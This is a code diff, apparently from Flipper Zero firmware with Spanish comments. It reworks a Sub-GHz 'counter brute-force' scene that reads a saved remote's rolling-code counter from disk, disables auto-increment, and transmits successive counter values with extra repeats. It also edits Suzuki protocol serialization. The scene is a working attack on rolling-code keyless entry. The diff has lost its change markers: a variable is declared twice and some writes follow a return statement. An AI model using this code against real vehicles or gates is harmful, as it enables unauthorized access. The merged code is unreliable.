FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(!flipper_format_update_uint32(file_fff, "Cnt", &ctx->current_cnt, 1)) {
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
}
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt write");
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
// Stop any previous TX
subghz_txrx_stop(subghz->txrx);
// Use official counter override mechanism
subghz_block_generic_global_counter_override_set(ctx->current_cnt);
// Increase repeat for stronger signal
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint32_t repeat = 20;
flipper_format_insert_or_update_uint32(fff, "Repeat", &repeat, 1);
subghz_block_generic_global.endless_tx = false;
uint32_t repeat = 20;
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
// Actualizar Cnt DESPUES de Repeat (update es secuencial en el buffer)
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_tx_start(subghz, fff);
ctx->packets_sent++;
@@ -81,20 +101,36 @@ void subghz_scene_counter_bf_on_enter(void* context) {
ctx->state = CounterBfStateIdle;
ctx->step = 1;
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t cnt = 0;
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Cnt", &cnt, 1);
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
// FIX: Leer el Cnt DIRECTAMENTE del archivo en disco con un FlipperFormat
// propio, completamente separado del fff en memoria (que puede tener el Cnt
// modificado por TXs previas y no refleja el estado real del .sub).
{
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
uint32_t cnt = 0;
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
} else {
FURI_LOG_W(TAG, "Cnt field not found in file");
}
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt read");
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
// Disable auto-increment
// Deshabilitar auto-increment del protocolo para controlar el Cnt manualmente
furi_hal_subghz_set_rolling_counter_mult(0);
// Reload protocol to ensure preset and tx_power are properly configured
// Recargar el protocolo DESPUES de haber leído el Cnt del disco,
// para preparar el fff para TX sin que pise nuestro valor leído.
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
counter_bf_draw(subghz, ctx);
@@ -110,16 +146,17 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == CounterBfEventStart) {
if(ctx->state != CounterBfStateRunning) {
// Start
ctx->state = CounterBfStateRunning;
ctx->tick_wait = 0;
subghz->state_notifications = SubGhzNotificationStateTx;
counter_bf_send(subghz, ctx);
} else {
// Stop
// FIX 2: Al detener, guardar el contador actual en el .sub
// para que al volver a emular manualmente continúe desde acá.
ctx->state = CounterBfStateStopped;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
counter_bf_save(subghz, ctx);
}
counter_bf_draw(subghz, ctx);
return true;
@@ -130,7 +167,6 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(ctx->tick_wait > 0) {
ctx->tick_wait--;
} else {
// Time to send next packet
ctx->current_cnt += ctx->step;
counter_bf_send(subghz, ctx);
counter_bf_draw(subghz, ctx);
@@ -138,16 +174,11 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
}
return true;
} else if(event.type == SceneManagerEventTypeBack) {
subghz_block_generic_global.endless_tx = false;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
// Save counter to file
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_save_protocol_to_file(
subghz, fff, furi_string_get_cstr(subghz->file_path));
// FIX 2 (también en Back): guardar siempre al salir
counter_bf_save(subghz, ctx);
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
@@ -160,6 +191,5 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
void subghz_scene_counter_bf_on_exit(void* context) {
SubGhz* subghz = context;
widget_reset(subghz->widget);
subghz_block_generic_global.endless_tx = false;
subghz->state_notifications = SubGhzNotificationStateIDLE;
}

View File

@@ -43,25 +43,9 @@ void subghz_scene_saved_menu_on_enter(void* context) {
if(fff) {
uint32_t cnt_tmp = 0;
flipper_format_rewind(fff);
bool got_uint = flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1);
FURI_LOG_I("SAVEDMENU", "Cnt uint32 read: %d val=%lu", (int)got_uint, (unsigned long)cnt_tmp);
if(got_uint) {
if(flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
has_counter = true;
} else {
FuriString* cnt_str = furi_string_alloc();
flipper_format_rewind(fff);
bool got_str = flipper_format_read_string(fff, "Cnt", cnt_str);
FURI_LOG_I("SAVEDMENU", "Cnt string read: %d val=%s", (int)got_str, got_str ? furi_string_get_cstr(cnt_str) : "N/A");
if(got_str && furi_string_size(cnt_str) > 0) {
has_counter = true;
}
furi_string_free(cnt_str);
}
FuriString* proto_dbg = furi_string_alloc();
flipper_format_rewind(fff);
flipper_format_read_string(fff, "Protocol", proto_dbg);
FURI_LOG_I("SAVEDMENU", "Protocol=%s has_counter=%d", furi_string_get_cstr(proto_dbg), (int)has_counter);
furi_string_free(proto_dbg);
}
submenu_add_item(

View File

@@ -284,6 +284,11 @@ SubGhzProtocolStatus subghz_protocol_decoder_suzuki_serialize(void *context, Fli
instance->generic.btn = temp_btn;
return ret;
if(ret == SubGhzProtocolStatusOk) {
flipper_format_write_uint32(flipper_format, "Serial", &temp_serial, 1);
flipper_format_write_uint32(flipper_format, "Btn", &temp_btn, 1);
flipper_format_write_uint32(flipper_format, "Cnt", &temp_cnt, 1);
}
}
SubGhzProtocolStatus subghz_protocol_decoder_suzuki_deserialize(void *context, FlipperFormat *flipper_format)